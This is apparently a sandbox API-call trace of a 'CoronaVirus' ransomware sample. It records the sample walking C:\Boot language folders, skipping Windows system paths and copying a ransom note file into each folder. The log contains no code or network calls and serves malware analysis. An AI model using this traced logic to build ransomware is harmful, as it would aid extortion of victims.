	[0083.410] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0083.410] wcsncmp (_String1="r", _String2=".", _MaxCount=0x1) returned 68
	[0083.410] wcsncmp (_String1="ru", _String2="..", _MaxCount=0x2) returned 68
	[0083.410] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\ru-RU") returned 13
	[0083.410] wcsncmp (_String1="C:\\Boot\\r", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.410] wcsstr (_Str="C:\\Boot\\ru-RU", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.410] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\ru-RU\\CoronaVirus.txt" (normalized: "c:\\boot\\ru-ru\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.433] _alloca_probe () returned 0x4036d0
	[0083.433] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x316583c*="ru-RU") returned 0xd
	[0083.433] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb129f51, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0083.434] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.434] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb129f51, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.434] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.434] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.434] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.434] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.434] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb129f51, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb129f51, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.434] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.434] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.434] malloc (_Size=0x1000) returned 0x2f4a658
	[0083.434] _swprintf (in: param_1=0x2f4a658, param_2="%s\\%s" | out: param_1="C:\\Boot\\ru-RU\\CoronaVirus.txt") returned 29
	[0083.434] wcsstr (_Str="C:\\Boot\\ru-RU\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.434] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.434] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.434] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.434] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.435] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0083.435] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0083.435] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.435] wcsncmp (_String1="sk", _String2="..", _MaxCount=0x2) returned 69
	[0083.435] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\sk-SK") returned 13
	[0083.435] wcsncmp (_String1="C:\\Boot\\s", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.435] wcsstr (_Str="C:\\Boot\\sk-SK", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.435] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\sk-SK\\CoronaVirus.txt" (normalized: "c:\\boot\\sk-sk\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.437] _alloca_probe () returned 0x4036d0
	[0083.437] GetFullPathNameW (in: lpFileName="C:\\Boot\\sk-SK", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\sk-SK", lpFilePart=0x316583c*="sk-SK") returned 0xd
	[0083.437] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb177119, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.437] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.437] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb177119, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.437] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.437] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.437] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.437] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.438] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb177119, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb177119, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.438] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.438] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.438] malloc (_Size=0x1000) returned 0x2f4b660
	[0083.438] _swprintf (in: param_1=0x2f4b660, param_2="%s\\%s" | out: param_1="C:\\Boot\\sk-SK\\CoronaVirus.txt") returned 29
	[0083.438] wcsstr (_Str="C:\\Boot\\sk-SK\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.438] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb177119, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb177119, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.438] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.438] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0083.438] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.438] wcsncmp (_String1="sl", _String2="..", _MaxCount=0x2) returned 69
	[0083.438] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\sl-SI") returned 13
	[0083.438] wcsncmp (_String1="C:\\Boot\\s", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.438] wcsstr (_Str="C:\\Boot\\sl-SI", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.438] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\sl-SI\\CoronaVirus.txt" (normalized: "c:\\boot\\sl-si\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.441] _alloca_probe () returned 0x4036d0
	[0083.441] GetFullPathNameW (in: lpFileName="C:\\Boot\\sl-SI", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\sl-SI", lpFilePart=0x316583c*="sl-SI") returned 0xd
	[0083.441] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb177119, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.441] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.441] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb177119, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.441] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.441] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.441] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.441] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.441] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb177119, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb177119, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.441] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.442] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.442] malloc (_Size=0x1000) returned 0x2f4c668
	[0083.442] _swprintf (in: param_1=0x2f4c668, param_2="%s\\%s" | out: param_1="C:\\Boot\\sl-SI\\CoronaVirus.txt") returned 29
	[0083.442] wcsstr (_Str="C:\\Boot\\sl-SI\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.442] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb177119, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb177119, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.442] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.442] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0083.442] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.442] wcsncmp (_String1="sr", _String2="..", _MaxCount=0x2) returned 69
	[0083.442] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\sr-Latn-CS") returned 18
	[0083.442] wcsncmp (_String1="C:\\Boot\\s", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.442] wcsstr (_Str="C:\\Boot\\sr-Latn-CS", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.442] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\sr-Latn-CS\\CoronaVirus.txt" (normalized: "c:\\boot\\sr-latn-cs\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.532] _alloca_probe () returned 0x4036d0
	[0083.532] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\sr-Latn-CS", lpFilePart=0x316583c*="sr-Latn-CS") returned 0x12
	[0083.532] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xeb25b466, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.532] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.532] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xeb25b466, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.532] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.532] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.532] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.532] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.532] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb177119, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb177119, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.532] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.532] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.532] malloc (_Size=0x1000) returned 0x2f4d670
	[0083.532] _swprintf (in: param_1=0x2f4d670, param_2="%s\\%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\CoronaVirus.txt") returned 34
	[0083.532] wcsstr (_Str="C:\\Boot\\sr-Latn-CS\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.533] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.533] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.533] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.533] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.533] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.533] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0083.533] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0083.533] wcsncmp (_String1="sr", _String2="..", _MaxCount=0x2) returned 69
	[0083.533] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\sr-Latn-RS") returned 18
	[0083.533] wcsncmp (_String1="C:\\Boot\\s", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.533] wcsstr (_Str="C:\\Boot\\sr-Latn-RS", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.533] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\sr-Latn-RS\\CoronaVirus.txt" (normalized: "c:\\boot\\sr-latn-rs\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.536] _alloca_probe () returned 0x4036d0
	[0083.536] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-RS", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\sr-Latn-RS", lpFilePart=0x316583c*="sr-Latn-RS") returned 0x12
	[0083.536] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb25b466, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.536] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.536] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb25b466, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.536] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.536] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.536] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.536] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
